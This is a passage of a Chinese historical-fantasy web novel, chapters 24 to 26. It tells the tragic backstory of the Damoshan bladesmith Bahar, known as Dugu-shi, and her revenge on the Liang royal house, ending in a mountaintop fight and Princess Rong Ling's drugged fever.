她摘下一片枯叶，问道，“独孤氏，你因大莫闪之战才来的大梁？”
独孤氏冷笑，“郡主既已找到观音山，又找到宝瓶石下的这处地方…为何明知故问？”
荣龄起身，“不错，巴图林已告诉我你与独孤真的后半段故事，可前头的，他亦不知。”她站在山顶，往西面瞧，那曾是大莫闪的方向，“今时今日只你我二人，我们便坦诚些——想必你恨透了我，恰好，我也不想饶过你。”
“廿五年前的旧仇，这些年的新恨，不若趁此算个明白。”
廿五年前，若有人问这世上最大，大到一日都走不尽城郭的一边，又最富有，富有到随处捡一件镔铁器便能去其他国家换几十金的城池是何处，十人中必有至少八人答道：“定是在西喀拉汗王国以西，连通东方的大元与西方波斯国的镔铁之城，大莫闪。”
传说大莫闪永不入夜——
因这里汇聚无数能工巧匠，昼夜灯火不息。
永不止歇的烈火灼烧出比大元的丝绸更昂贵，较波斯的香料还要抢手的镔铁刀剑。由之换回的数不清的金银珠宝将大莫闪装饰如琼楼玉宇。
这样一座城，如何不引无数人想往，又引无数人垂涎？
其中便有尚未推翻前元朝廷，仍蛰伏于西北的梁国。
那时的荣信未满弱冠，正是仰慕冠军侯，恨不能如他一般功成瀚海，封狼居胥山的年纪。
然而，哥哥荣邺几番欲言，数度又止。
荣信并未在意。
直到他愈发狂热，狂热到嘴无遮拦地与母后说：“儿若战死，母后便将儿葬于狼居胥山，起冢祁连。”
老王后本就为家中的儿郎连年征战提心吊胆，叫荣信这么一闹，她心口骤疼，竟半天缓不过来。
这下，荣邺再不能袖手。
他拎着弟弟的耳朵，冲他吼道：“大梁饮祁连山雪水而生。若霍去病活到今天，头个打的便是你。”
荣信不置信，跌跌撞撞奔向蒙尘许久的书房。
待翻完一个黑夜又一个白天的故纸堆，他顶着两个硕大又黢黑的眼圈，“哥，往事不可追。若深究起来，老秦人还与咱们在同个地方牧牛马…”
他重拾起信心，“冠军侯与大司马虽使‘匈奴远遁，漠南无王庭’，可西域诸国，他们到底没打下来。”荣信长臂指向西边烧红的晚霞，“哥，你瞧着，我要沿着他们的马蹄印，把大梁王旗插满南北道十六国。对了，你不是想要大莫闪的镔铁刀？我打下来给你！”
荣邺未将这话放在心上。
他潦草地颔首，只嘱咐弟弟莫再气着母后。
谁知一年后，荣信带兵攻下滑国。
欲出城迎小儿子凯旋的老梁王、老梁后候了许多日都未等回他的身影，二人心焦地发出多封书信，却只催回一位督军屁滚尿流地告状，“大王，王后，二王子他…他去打大莫闪了！”
半月后，还在围攻若羌的荣邺接到这份叫人肝胆俱裂的家信。
他再三翻看，只怕看错其间字句，可分明的白纸黑字告诉他，荣信确在冒天下之大不韪——这兔崽子只知镔铁刀削铁如泥，是对付大元重装中军的利器，可他却不知大莫闪集天下刀剑之利，为何没有任何一国将它收入囊中？
只因它若归入任何一方，其余诸国都将面临极大威胁。因而几番博弈后，大伙默契地达成一致意见——大莫闪独立于诸地之外，平等地与所有人交易。
若西梁率先打破这一平衡，各国说话间便能联手撕了他们。
因而荣邺不仅不能再领大军驰援荣信，他还得好好瞒着，不叫众人知晓荣信正往大莫闪而去。
他能做的是一面快攻，一面冒险分兵，叫副将领一半精锐攻打西喀拉汗王国东境——西域与大莫闪之间隔着西喀拉汗王国，若那汗王使坏，即便荣信打下大莫闪，他也再回不来。
他又叫一人穿过西喀拉汗王国，暗中前往大莫闪——那是他军中的头一号聪明人，他定能帮上荣信。
剩下的，他只有等。
这一等又是半年。
这半年里，不仅荣邺再不得安生，那西喀拉汗王国的汗王也日日沉思，夜夜西想。思到最后，他决定放下面子，亲自问问西梁国
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英明神勇的大王子，为何占他东境？
汗国与西梁隔了西域的南北道十六国，它西梁还没摆平十六国呢，这便要染指西喀拉汗？
简直不知所谓！
谁料，荣邺客气招待了使臣，又恭敬回了汗王书信。
可那封回信拉拉杂杂，写了数十页都未说明占城的目的。
汗王不禁动了真怒，嚷嚷着要举全国之兵，夺回东境。
丞相尚有几分清醒，“大王，那梁国的大王子占城后一未杀人，二不抢掠财宝，不像要与咱们开战的架势。”
“本王没看出来吗？”汗王更气了，他双手把住腰间璀璨的金腰带，指节捏得发白，“若非如此，本王能忍他半年？”
“可半年了，半年了！他还要待多久？三年？五年？到那时东境臣民可还认得本王？”
丞相双肩一缩，讷讷道：“老臣不知大王子意欲何为，也不知他还要待多久…老臣只知…只知咱们即便举全国之兵，也约莫、或许、可能…是打不过大王子的。”
汗王那个气呀，可他砸了满殿的杯盏，却也无法反驳丞相的这番话。
是啊，打不过，不然他能叫荣邺放肆至此？
半月后，西喀拉汗王国西境忽涌入大批流民。
他们虽自称流民，也确衣衫褴褛，可若细瞧，这些人目光戒备，一举一动都透露英武的气派。
不对，他们绝不是流民，更像…训练有素的将士。
边关一重一重传回狼烟，直吓得汗王一趔趄。
东有狼，西有虎，莫非天要亡他？
而伴随那批流民到来的，是大莫闪遭不明来历的游兵重创，几乎全部工匠不知所踪的消息。
汗王将两道消息一合，微微眯起眼。
怎会这么巧？
他匆匆前往西境，想要扣下那行脏得瞧不出人样的逃难者。
敏锐的直觉告诉他——那定是大莫闪失踪的镔铁匠人，不，他们不是匠人，是活生生的铸币器！
若他们留在西喀拉汗王国…
可惜，汗王的念想只兴了小小的头，东边那只虎便递来消息。
荣邺道：“叫他们平安无损地归来，我占的东境，定毫发无损归还汗王。自然的，汗王今日也不曾见过不知何处逃来的流民。”
听罢消息，汗王满额冷汗地将自个心中的贪念系上结，目送它消失于无涯心海。
得，在这儿等着他呢。
有了东境的威慑，失踪大半年的荣信终于见到他笑得满面寒霜的哥哥。
“哥…”话音未落，刚搅得大莫闪天翻地覆的二王子迎面吃了一拳。
“哥你听我说…”仍未说完，又是一肘。
这夜，荣邺的亲卫死守主帐，过一炷香便提醒一回，“大王子，差不多了。”
可揍人的动静至夜半仍未停。
“父王、母后只生了你我两个。你若出个三长两短，叫他们如何受得？”荣邺又怒又怕，“谁叫你生了这么大的胆子，竟敢动大莫闪？大莫闪只是一城，却叫波斯与大元都不敢侵扰半分。你！你…”
这半年，荣邺夜夜被梦魇惊醒。
一时是荣信叫人捉了，曝尸于大莫闪城门之下，一时是西域诸国得知西梁竟敢染指大莫闪，蠢蠢欲动要联合攻打…
每每醒来，荣邺先是庆幸梦中种种未成现实，随后便只能独坐对月，将千种忧心、万种后怕都埋于心底。
日复一日中，他尽力做好成竹于胸的西梁大王子，上对父母，下抚臣民。
荣信不在，他不能再出事。
荣邺气得发抖。
荣信却顶着一脸伤，讨好地凑上来，“哥，你不是想要镔铁刀？我将风火局的工匠都带回来了，以后咱们自己造，你再不用怕大元的铁骑。”
这是荣龄熟知的大莫闪之战——荣信在那位聪明人的襄助下，假扮东方掮客获取城主信任，待飨宴结束，他杀了城主，又胁迫风火局的工匠们东归。
自此，镔铁刀成为梁国利刃，支撑他们一路向东，直至入主大都。
因而，这一战成为西梁崛起的转折。
在这场恢弘的纪事中，大莫闪因失去秘技日渐凋零，又连遭他国洗劫最终湮灭的尾声则如一丝灰色的注脚，连缀于无人在意的角落。
但独孤氏在意。
24. 巴哈尔
若说大莫闪是嵌在商路上的一顶王冠，巴哈尔或许只是王冠上最不起眼的一寸金、一粒珠。
她因镔铁而生，也因镔铁而活。
她整日穿梭于灼烈的热浪中，在钉铮的敲打中度过幼年、青年，若无意外，她也将如此过完一生，就像风火局其余的匠人一般。
天真的岁月中，她最大的烦恼只来自街口卖书的汉人。
那人怪得很，虽做卖书的营生，却从不招徕生意，只埋头苦读从各处搜罗的旧书。若有人问他图个什么，他只道读书是件风雅事，往来交际只凭本心。
巴哈尔听说过这怪人，因而每每路过时，总偷偷打量。
他的眉多蹙着，像是书里的为难事都爬上眼梢，偶也有眉展唇笑，那时他的手边必有一盏碧色的茶汤——这可与大莫闪的男人大不一样，怎有人不以酒助兴，偏爱寡淡的茶？
看得多了，不知何时就在心中留了印记。
巴哈尔想，这或许是那年冬天，她救下他的原因。
那一年，大莫闪的天气古怪得紧——刚入冬，这天就一径冷下去，全没有往年只需穿菲薄春衫的温暖。
一直到冬至，冷风如两只刚劲的手，将自圣海吹来的充沛水汽拧出比指甲盖还大的飞雪。
这是许多大莫闪人头一次见到雪。
这日正值休沐，巴哈尔应友人邀请，去郊外的一处村庄吃酒。
那家的孩子刚满三岁，正是活泼好玩的年纪。
巴哈尔抱着他，再三保证道：“巴图林，你要乖乖的，我下回来给你带一整盒的酥糖。”
直到日暮雪止，她才由白雪与晚霞作伴，兴尽回程。
因天气不寻常地寒冷，天上的飞鸟、地上的走兽都没了生气。她一路往回走，只呜咽风鸣响在耳畔。
就在巴哈尔只觉天地茫茫，唯余风雪时，一阵落石翻滚的声音自头顶传来。
她一肚子酒意全被吓醒，当下头也不敢抬，慌不择路地向前跑。
然而，没走出几步，一道短促而迅猛的力道自肩部拍下，巴哈尔在恍惚间只觉自个如一根萝卜被巨掌拍进地里。
剧烈的疼痛袭入脑海，她半晌才回过神——她可倒了八辈子的霉，竟叫山上滚落的倒霉蛋砸个正着。
至于她与那人谁更不走运些，巴哈尔心道，这也难说。
她挣扎着侧首，却认出一张不算陌生的苍白、忧郁的脸。
她对着已然挂在东山之上的清月吐一口浊而缠绵的雾气，最后艰难地、认命地站起来，将这没有知觉的人拖回大莫闪的医馆。
巴哈尔是风火局的镔铁匠人，伤了肩之于她便是断了生计。更不论垫付卖书人的药费后，她那比绢纸还薄的家底彻底告罄。
她算了又算家中的存粮，最终只能强行用粗布捆紧右肩，顶风雪出门上工。
没日没夜地过了将近十二个时辰，巴哈尔身上不仅有铁水烫出的热汗，更有酸痛的骨骼、肌血透出的细密冷汗。
她喘着粗气，跌跌撞撞走在回家的路上。沿途的积雪早已泥泞，融水洇湿靴子，将双脚冻得冰凉。
可她再没有力气管这些。她只想走得快些，再快些，闷进被窝中，长长久久地睡一觉。
她可太累了。
终于到家门口的小巷时，巴哈尔被人拦下。
她抬起沉重的眼皮，是卖书人。
“我今日好些了，便赶紧来寻你。听大夫说，你将我救回时肩头伤得厉害。你可上药了，可好些了？”那个忧郁而古怪的卖书人道。
巴哈尔意识模糊地想，这人看着古怪，嗓音却好听——像东方古琴，醇厚且和缓，又如迦陵频伽的悦音，在瞬间抚慰众生。
她的意识愈发地沉，还未来得及回答任何问题，就昏了过去。
因肩上的伤拖了太久，巴哈尔经历了反复、剧烈的高烧。她有时醒来，更多却是在昏睡。
等她终于清醒，窗外的积雪都已化干净。
她推开窗，屋外的景象已恢复如常——没有肆虐的寒风，没有大如指甲盖的飞雪，就连被她救回又紧接着照看她的卖书人也消失无踪，好像他从没来过。
只不过，巴哈尔遗憾的叹息尚未落下，记忆中的卖书人挎一只装满米菜的竹篮，踏落霞而归。
“哦，醒了？今日可有胃口，我买了许多菜。”他推开破落的院门，如回到自己家中般闲适。
那一刻，一贯大方的巴哈尔如吃了医馆最苦的黄连，话也说不出一句。
最后，她深吸一口气，用尽全身力气也只发出轻微的声音，“吃…吃的…”她道。
直到巴哈尔的肩伤痊愈，卖书人才在落了第一场春雨的早晨离去。
他说已在大莫闪看到想要的书，便要去往下一个地方。
巴哈尔不知道他的姓名，也不知他离开大莫闪后会否回来。
她更不清楚的是，在往后的悠长岁月中，他会不会有短暂的一瞬，想起那个大莫闪罕见飞雪的冬天，想起救过他也被他救了的女子。
可有人告诉她，汉地四季分明，年年有雪。大莫闪短暂的雪景之于他，并不算什么。
不过三个月后，巴哈尔还是见到他。
只是再相见时，她是被大梁二王子囚困东归的风火局匠人，而卖书人摇身一变，成了襄助荣信攻下大莫闪的头号功臣。
原来，卖书之于他，当真只是故纸堆中一页无用的残卷。
她仰头看向高坐马背的男子，“为什么？”她问。
可那人一抖缰绳，直直略过她，好像从未见过她。
东归之路漫长且令人绝望。
翻越葱岭时，绝大多数大莫闪人患上冷瘴，轻者头痛呕吐，重者身热气衰。
有人将一腔幽愤发泄在梁军身上。
道是大莫闪人如最娇艳的茶花麻，离了故土便不能活。梁军逼他们东去，正是要了他们的命。
他们若死在葱岭，定要化作最凶恶的鬼怪，阻止梁军回到故地。
冷厉的诅咒成为梁军前行的梦魇。
葱岭崇山连绵，本就人畜难行。
但为了掩去踪迹，荣信只能放弃寻常商路，在此间疾行。又因人困马乏，不仅是大莫闪人，更有数不清的梁军、马匹患上严重的冷瘴。
濒死之际，有人意识混乱地挣扎，“我错了，我们都错了，我不该毁了大莫闪…放了我吧，我要回西梁，我要见我的闺女…”
阴冷低落的氛围笼罩着梁军。
即便荣信许以重利，并严惩散播此番说辞的兵将，情况仍未好转。
直到那位功臣带回不知何处挖的仙赐草，叫众人服用后大大缓解了冷瘴之症，紧张到即将绷断的情形终
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于改善。
但巴哈尔不知这一切，她已病倒许久。
她这病，既有冷瘴之过，更多的却是心病——她终于知道，她是大莫闪的罪人。
正是在冬至，那位卖书人绘好大莫闪全城的图纸，记清城中贵人诸多的性情、喜好。他背着要命的情报在山间疾走，想要尽快交给埋伏的荣信。
然而，大莫闪罕见地落雪，因山路难行，他不慎跌落。
可恰恰好，巴哈尔救了他。
几日后，卖书人再次上山，送出大莫闪的“催命符”。
沉溺于蚀骨的自责中，巴哈尔再坚持不住，只想就此死去以赎罪万一。
昏迷中，她的眼前出现交织变幻的七彩霞光，霞光中似有阿娘的身影——那个美丽而卑微的舞女，她挣扎着将巴哈尔养到五岁，最后无人知晓地死去。
巴哈尔知道，阿娘来接她了，她也要死了。
却在这时，一阵凉意自额心传来。
那凉意绵绵不绝，它气势磅礴地渗入每一处裂隙，直至肢解整个幻境。
她睁开眼，看到那个熟悉又陌生的人。
“你要活下去，活下去才能恨我。”他说。
额头的寒冰叫她愈发清醒，她睁大眼睛，想要看得更清，“你是谁，你究竟是谁？”
“我叫独孤真。”他道。
荣信一行到底回了西梁。
只是活着来到西梁的风火局匠人只剩最终的几十名。
他们是最珍贵的财宝，得到常人难有的尊敬、地位，他们也是最可怜的囚徒，被日夜看管，没有一丝自由。
恩威并施之下，大莫闪的匠人们在这片陌生的土地安顿下来，不少人在此成家，将血脉融入祁连山的雪水中。
可这并不包括巴哈尔。
南征北战的间隙，独孤真偶来看望她。
他有时会带回装有灵香草的香袋，有时会送来一把英吉人锻制的精美银刀，但更多的时候，二人纵马至半山的草甸，遥望视线尽头的冰川。
独孤真看着巴哈尔，劝道：“与你的族人一样，学着留在这里，你会更快乐一些。”
半空的海东青飞得东歪西倒，细看来，它曾折了翼。
蒙兵器之利，西梁很快统一西域，并调转矛头，锋指已是强弩之末的大元。
巴哈尔升任小管事，带了三两个当地的小徒弟。她也慢慢习惯在悠长的冬日里，用羊毛与驼绒织挡风的毛毯。
后来，这条漏了许多针脚，既不平整也不美观的毛毯出现在独孤真的账中，孟恩一锤独孤真的前胸，笑道：“我可等着你的酒。”
一切像是都在好转。
但事后的巴哈尔想，她从不受苍天垂怜，怎偏偏在这时忘了本，松了心弦？
因疆土东扩，为便于武器运送，镔铁局将从都城迁往重镇固原。
头两批匠人的东迁十分顺利，只待巴哈尔所在的第三批匠人会和，重设于固原的镔铁局又将为西梁源源不断地输送利刃。
可就在巴哈尔一行启程之际，西梁于几年前便窃走大莫闪秘技的消息不胫而走。
已然消失的大莫闪，再无人知的镔铁刀锻制技艺，竟都重生在西梁？
无数人如豺狼一般盯上了这群匠人。
这其中便有在陕西一带拥兵自立的达鲁花赤聂河上。
25. 独孤真
巴哈尔被押送至陌生的大帐时，身肥体壮，只在头顶留一条细辫的聂河上未正眼看她，“怎的有女人？”他漫不经心道，“送去军中，叫兄弟们尝尝西梁女人的味道。”
语落，巴哈尔惊惶抬头，“我不是西梁人，我从大莫闪来，曾是风火局的匠人。”
一句话引起聂河上的兴趣，“哦？会打镔铁的女人？”他往前探身，一双豹眼精光毕露，“有意思。”
暗舒一口气的巴哈尔却不知，她的这句话既使自个离了狼窝，却又在下一瞬落入虎穴。
那晚，八角形帐篷顶部绘有的廿四匹铜马在巴哈尔冰冷的泪中彻夜奔腾，一张张马脸或冷漠，或凶恶，或奸诈，或淫邪，它们奋扬的马蹄落下沉重的阴翳，残忍踏碎一个女子的躯体及全部的尊严。
她也曾以死相逼。
聂河上的目光漫不经心地掠过她抵上胸口的匕首，“既然你不想伺候我，那便去伺候我的一众兄弟们，”他自榻上起身，由四位曼妙的侍女服侍穿衣，“论镔铁匠人，你不是独一个，论女人…”他随手揽过一人，那女子恭顺地贴紧他，“你更算不得什么。不要妄图逼我，你没这个分量。”
自此，她被赶出大帐。
之后的一个月便成为她永久的魇。
直到她等来独孤真。
独孤真一件一件地为她穿回衣裳，“别怕，我带你回去。”他抚过她嘴边的血痂，承诺道，“巴哈尔，我会娶你。”
巴哈尔僵滞的目光落在他面上，过了许久，她的眼中砸下泪，哭叫道：“你怎么才来，怎么才来！”她的泪从未这样烫，也从不曾这般苦涩。
可一行人没料到，战败的聂河上竟未出逃，而是孤注一掷，隐在近处。
此时的他凝着一双嗜血的眼，狠狠盯着不远处的男女。
他恨透了这对狗男女——若非他们，他蛰伏十余年，为大元的痴儿皇帝当牛做马才攒下的兵马不会惨败。
而若没了兵马，他聂河上如何能在乱世称雄？
匕首刺来时，刀尖本对准巴哈尔的后心。
但她不曾见那道夺命的寒光，也未感受铁器刺入□□带来的尖锐、无尽的疼痛，她叫独孤真揽着如胡旋舞一般飞快转身，随后听见一记微不足道，几乎叫周遭杂音淹没的闷响。
她事后方知，那柄匕首的刀刃呈三棱锥状，每面开双槽，一旦刺中，伤口便会如泉眼喷涌出鲜血。
这场变故来得突然。
待副将踢翻聂河上，露出他那标志性的锃亮的脑袋与顶心的一截小辫后，独孤真失力朝巴哈尔扑来。
她本能地伸手接住，却又撑不住重量，随他跌落在千百年来陨落无数将士的古战场。
他留给巴哈尔的最后一句话是，“对不起，我把你带来西梁，却没能护好你。”
那之后的很长一段时间，巴哈尔半点不关心外头的事。
有人说，荣信亲自行刑，将聂河上扔进髭狗堆，由百狗撕咬而死。有人说，镔铁局终在固原重建，它很快燃起风炉，再次为西梁提供源源不断的杀人利器。又有人说，荣信曾有吩咐，叫人以独孤真遗孀的名分安顿她、善待她。
巴哈尔没有在意，更不曾接受。
独孤真走后，她与西梁本就菲薄的情分便彻底断了。
彻骨的孤独、无望笼罩她、裹紧她，叫她如陷一张逾来逾紧的大网，无法呼救，更不能呼吸。
黑夜白天，她一遍又一遍地想要放弃自己，直到有人告诉她——
灭了大莫闪的，是荣信。
迁址镔铁局导致她受尽聂河上侮辱的，是荣信。
叫独孤真仅领千骑来救而致最终殒命的，还是荣信。
高四娘如幽灵一般缠上她，她轻笑道：“若你活不下去了，不如找个人来厌恨。这样，日子就有了盼头。”
于是，巴哈尔再见巴图林时，她也这样劝他，“你随我走吧，你也随我去怨，去恨，这日子苦得很，可我们总要活下去。”
她递过一整盒的酥糖，眼看着已独自乞讨数年的孩童一个劲地往嘴里塞甜得发腻的酥糖，直到他小小的嘴再塞不进，直到满地都是酥糖的残屑。
许久，那小小的人含着满嘴的甜凄厉地哭出来。
巴哈尔抱着他，眼中并无泪。
她的离开无人知晓，也无人在意。
再后来，西梁统一天下，定都大都。
“大梁第一利刃”镔铁局也随之迁往拱卫京师的保州。
当几乎再没人记得一个叫“巴哈尔”的大莫闪女人时，一位自称独孤氏的寡妇叩开镔铁局的大门。
故事在风雪中开始，又即将在风雪中结束。
几十年前的巴哈尔，如今的独孤氏站在被白雪掩盖的茶花麻中，她伸手抚过经冬还绿的枝叶，问道：“郡主可知，这是第几季茶花麻？”
荣龄不解。
巴哈尔摘下冻坏的一截，解释道：“它世代长在大莫闪，并受不了保州的气候。只要冬日稍冷，便十之八九活不成。”她停了停，“可我不管，我能活下来，它为何不能？一季死了，便种下一季，长长久久的，总有命硬能留下。”
荣龄的伞已积了厚厚的一层雪，那雪既压在油伞面上，也压在她心中。
她自然知道，光明背面难免有阴翳。
可这是头一次，一个活生生的人用她荆棘的一生告诉她，大梁人奉若神明的大莫闪之战，那位受无数人敬仰与供奉的南漳王，之于大莫闪人，是何等的无妄之灾，是怎样冤枉的人祸。
而无辜的不止巴哈尔，也不止大莫闪。
一将功成万骨枯，胜利，从来是无数悲剧写就的狂欢。
“你或许不知道，茶花麻不仅可观赏，更能做茶、入药，”独孤氏忽然问起，“郡主可尝过莫闪居的茶？那是茶花麻与黄山云雾混作的，我吃着味道很好。”
荣龄想起冯锐奉上的几盏热茶，当时当景，她并没什么心思去分辨茶水的滋味，“我不精深茶道，可惜你的好茶了。”她答道。
“哦…”独孤氏转过身看她一眼。
因未打伞，她的眉眼都
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变雪白。甫一眨眼，睫毛攒积的雪花落下，映在她翠绿的瞳仁中，如高山碧色的圣湖落一场局部的暴雪。
“原来如此。”她轻叹一句，恍若呓语。
荣龄收回漫开的心思，她短暂阖眼，沉沉落下一口气。
再次睁开时，她的眼中再无不忍、怜悯、迷茫。
她重又变回大梁的边军统帅、身份贵重的南漳郡主。
“你何时入的花间司？”荣龄冷冷问道。
独孤氏没有回答。
她自腰间解下镂雕卷草花纹的香薰球，反问：“可否向郡主借个火？”
见荣龄戒备看来，她将香薰球打开，露出里头一粒香丸，“你在我屋里闻见过，是桃花味的香，寻常得很。”
荣龄不想多生事端，只道：“我身上没有火折子，京南卫也离得远了。”
独孤氏没有执着。
她碾碎香丸，用指尖沾了些香粉凑到鼻下细嗅。
没过一会，她孤零又破碎的笑沉下来。
荣龄不禁问道：“这香究竟有何功效？”
独孤氏摇头，“我也不知，”她将香薰球往前一递，隐约的桃花香钻入荣龄鼻中，“长春道只说，嗅了它便能见到想见的人”
“郡主心中可有这样的人？”
长春道？
荣龄蓦然想起一月前下元水官大帝生辰那日，信众在三清木像前疯狂的一幕。那时，殿中正弥漫着纠结、馥郁的桃花香。
或许，当时的他们在香雾中看见了最渴求的人。
“我并无想见之人，”荣龄走开，避过香味，“过去了便是过去了。”
她在山沿站定，毫无遮挡的烈风将油伞刮得倒斜。
她扶正伞柄，继续问道：“既如此，花间司与长春道又是何关系？你乃花间司四大花神之一，长春道又恰好找上你…这世上竟有这样巧的事？”
“花间司、长春道…”独孤氏冰冷的笑落在弥漫雪雾中，如一粒粒冰珠叮呤作响，“我管它什么关系？谁能替我杀了荣信，杀了你，我便听谁的。”
透过密得几乎看不见人影的雪，荣龄眼神一利。
“我父王的死果真与花间司有关？”血液凝在指尖，叫嚣着要杀了眼前这人。
独孤氏将脸贴上茶花麻，“既有关，也无关，你们汉人常说，‘祸起于萧墙之内’，这世上有的是人恨他…”她“咯咯”笑着，状若癫狂，“独孤真，独孤真，你可别叫茶花麻再冻死了，它吸了你的骨肉，合该长得高高的、密密的…你陪陪我，我不想一个人。”
荣龄心中气血翻涌。
又一阵风吹来，伞如断线的风筝飞远。
下一瞬，一只手抓住独孤氏浓密的发，荣龄毫不怜惜地迫使她仰头，“说，花间司究竟做了什么害死我父王？！”
几乎同时，独孤氏手中一扬，甜腻的粉末径直钻入荣龄鼻中。
她本能转头，却瞥见自宝瓶石顶下坠袭来的一截鞭影。
荣龄暗道不好，忙轻转腕间，须臾将一道黑烟弹上半空。
26. 桃花香
独孤氏功夫低微又无兵刃，荣龄将她踹落一旁。随后玉苍刀寒光一闪，与高四娘的乌鞭缠斗一处。
疾风涤荡，黑烟在转瞬间散去。
但那已足够使山腰的京南卫得到信号并急速上行。
二人拆过数十招。
高四娘瞥见山道上密密麻麻的京南卫，她眼光一沉，“郡主竟不惜再次以身做饵？”她估算京南卫冲到山顶的时间——这也是她仅有的能够杀死荣龄的机会。
“只不知这回，是郡主有命当得黄雀，还是只能做我鞭下的死蝉。”
语落，乌鞭攻势更猛。
二人的功夫本在伯仲之间，□□龄重伤未愈，挥刀劈砍总要受限。
赤金缀再度袭来，仓皇间她只得横刀硬扛。
金缀与刀沉重相击，荣龄的右侧身子先是一麻，随后炸出尖锐的疼——一瞬间，她额上布满冷汗，玉苍刀几要脱手。
见状，高四娘面露得意。
她封住旁的退路，叫荣龄败退至宝瓶石旁。
因身上的伤疼得更甚，荣龄只能借巨石躲闪。
一时间，赤金缀化身嗜石的蛇首，猛烈琢击宝瓶石。金石相击，火花伴碎石簌簌落下。
可总有躲不过的时候。
上一息，赤金缀方自荣龄耳边擦过，下一刻，高四娘手腕一抖，它又以不可思议的角度下行，径直朝腰腹咬来。
电光火石间，锥形花瓣如风抚而绽，其间的金针几已刺入真紫曳撒。
然而，高坐上风的高四娘却未料到，荣龄等的也是这一刻。
只见她忽地腾至半空，横转避过赤金缀。
金针琢入石壁的瞬间，荣龄又以刀柄为轴转动玉苍刀，不多时，刀身便如井口的辘轳缠上多圈乌鞭。
一卷一拉间，她与高四娘之间的距离也倏地缩短一半。
高四娘大惊。
荣龄冷冷一笑，随即一手持柄，一手抵刀背，用尽剩余的力朝宝瓶石猛烈砍去。
“不！”高四娘已然明白她的意图。
可回应她的只有玉苍刀撞击巨石发出的钟鸣一般的巨响与叫钢刀砍成数截的乌鞭——半空的乌鞭难断，但若抵着宝瓶石，刚韧断玉的玉苍刀瞬间便能毁了它。
只是乌鞭虽毁，撞击反弹的巨大力道也叫荣龄气血翻涌。
她顾不上重又裂开的伤口与口中涌出的血，只一手弃刀，一手自腰间抽出沉水剑。
下一瞬，她劲贯其中，人与剑绷作一道寒霜逼人的亮光，直直往一丈之外的高四娘刺去。
这一变故来得猝然，但高四娘也不愧花间司排得上号的高手。
她手中仅余的半截乌鞭一卷，伏于雪地的独孤氏忽地出现在二人之间。
沉水剑收势不及，荣龄只觉手中一滞——那是剑身没入□□带来的顿挫。
她一怔。
高四娘在荣龄短在毫厘的怔忪中挣得生机。
她黑袍一展，整个人如一只黑中泛金绿磷光的翠凤蝶遁走。
荣龄提气欲追。
可下一瞬，一口气忽如败絮散开，取而代之的是腹中生出一股莫名的热意，它沿经脉快速奔涌，很快叫全身发烫、发疼。
叫热意一激，荣龄“哇”地呕出本就涌在嘴边的鲜血。
高四娘的身影愈发得远。
荣龄又急又气，怒骂山腰的京南卫怎的这样慢，而她自个的身体怎就这样不争气。
她选择在此审问独孤氏，一则因这是独孤真的埋骨之地，独孤氏心潮起伏，更易被问出心中隐秘。二则她带着人浩浩荡荡来到此地，高四娘见了，可会放过这个既能杀了荣龄，又能救走独孤氏的绝佳机会？
然而，荣龄没算准那粒香丸的变故。
正在她兀自懊悔时，一支羽箭破空而来。
长箭如虹，须臾间钉入高四娘的后心，她如歇落翅膀的翠凤蝶，凋零冬雪之中。
荣龄再次一怔。
“妇人之仁。”荣宗阙将弓箭扔给赫哲，冷嘲道。
荣龄被他气得再呕出一口鲜血。
她一直未下杀手，自有她的用意——高四娘将独孤氏带入花间司，这是否意味着她在花间司中的职份比四大花神更高？她究竟是谁，是花间司的司主，还是另有身份？
还未等她找到答案，一切便随荣宗阙的一箭再次沉寂。
“二殿下就这般等不及？”荣龄恨恨问道，“可是做贼心虚？”
荣宗阙并不受激，他阴冷又平静地回望她。
“荣龄，你我的合作已在双佛口了结，今日叫你见她已是破例。我不管你为何带她来观音山，也不管你问出的于我是损是益，但她们如今都死了，”他缓步走近，伸手欲拉她，“你问出的那些，便不再作数。”
这当口，荣龄不想理他。
她狠狠甩开，强自撑起身体。
然而，随着她一用力，腹中热意猛涨。叫这蛮不讲理的力道一冲，她几站不住。
荣宗阙忙扶住她。
他正要教训荣龄莫逞强争勇，却意外感受到真紫曳撒透出的绝不寻常的高热。
“阿木尔，你又起烧了？”他问道。
荣龄回答不了他——她的思绪正因体内霸道的热意变得混乱不堪。
光怪陆离的幻想中，她咬破舌尖换来细微的清明，“独孤氏…”她挣开荣宗阙，扑向生死未明的独孤氏，“那桃花香究竟是何物？！”
雪已将独孤氏半埋。
弥留之际，她瞧见荣龄的模样，心满意足地叹下最后一口气，“郡主金枝玉叶，生来便什么都有。可我也想叫你尝尝我的苦。可惜我手里只剩这桃花香…”她胸前的伤口冻住，粉媚如一朵上好的茶花麻，“不过，叫郡主尝尝被不相干的人辱了清白的滋味，那也是极好的…”
她的话音逾轻，伴随着冷漠又凄苦的笑，最终湮没于遮天避地的大雪。
荣龄的视线变得模糊，只漫无边际的白幻化出奇诡的色彩与形状
失去意识前，她忽地落入一个比云絮更温柔的怀抱，她掀起眼睫，看见一双满载江南水意的眼。
水意沁凉漫过，短暂抚慰她滚烫的身体与思绪。
荣龄不由自主地贴近，可伴随二人面颊相贴，一股更为猛烈的热意似溃堤一般喷涌而出。
热，极度的、无尽的热。
这份热不像客行瀚海，是日头炙烤出的干脆利落的热。
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它如没入江南不尽的梅雨，似独行于南漳彻夜的潮润，它缠绵悱恻，又百转千回。
荣龄在高热中意识浮沉。
一时间，她变得很小，变得很轻。她回到幼时的南漳王府，由父王架上一株开得正当正好的合欢，她摘下一把，插在母妃的发间，又夹在自个襟前。
合欢花轻轻扑动粉色的瓣，又将她送去一处她早忘了名字的江南小城。在那里，她支起父王整日垂下的眉头，不停歇地与他说今日的阿蒙哥哥带她去了何处，说他做了一整条包公鱼，却只看着她吃，自个一点没用。
江南三月的风拂过，画面又变作千里之外的南漳。暗夜的扶风岭正在经历血腥的屠杀，父王死也不能瞑目，只盯着一个暗影，惊怒道：“为何是你？”。
荣龄挣扎着向前，欲看清暗影确切的面目，可下一瞬，她只见战马悲鸣，王旗旁落。
至此，漫天热意变作深入骨髓的疼。
疼痛扭曲记忆，将她又带回几日前的双佛口。
这一回，她没能从福船逃出，独孤氏剥了她的衣裳，将她赤身扔在甲板。
“郡主金枝玉叶，生来便什么都有。可我也想叫你尝尝我的苦。”独孤氏如恶魔低语，不停鼓动随她出逃的匠人与船工，“郡主的滋味，谁想尝尝？不！是谁不想尝？”
一时间，数不清的男人狞笑着涌来。
“不要！”
“我不要！”
无边的恐惧终于使荣龄自淹没她许久的热与疼中清醒片刻。
可甫一睁眼，她只见一间昏暗的卧室与仅着中衣的男子。
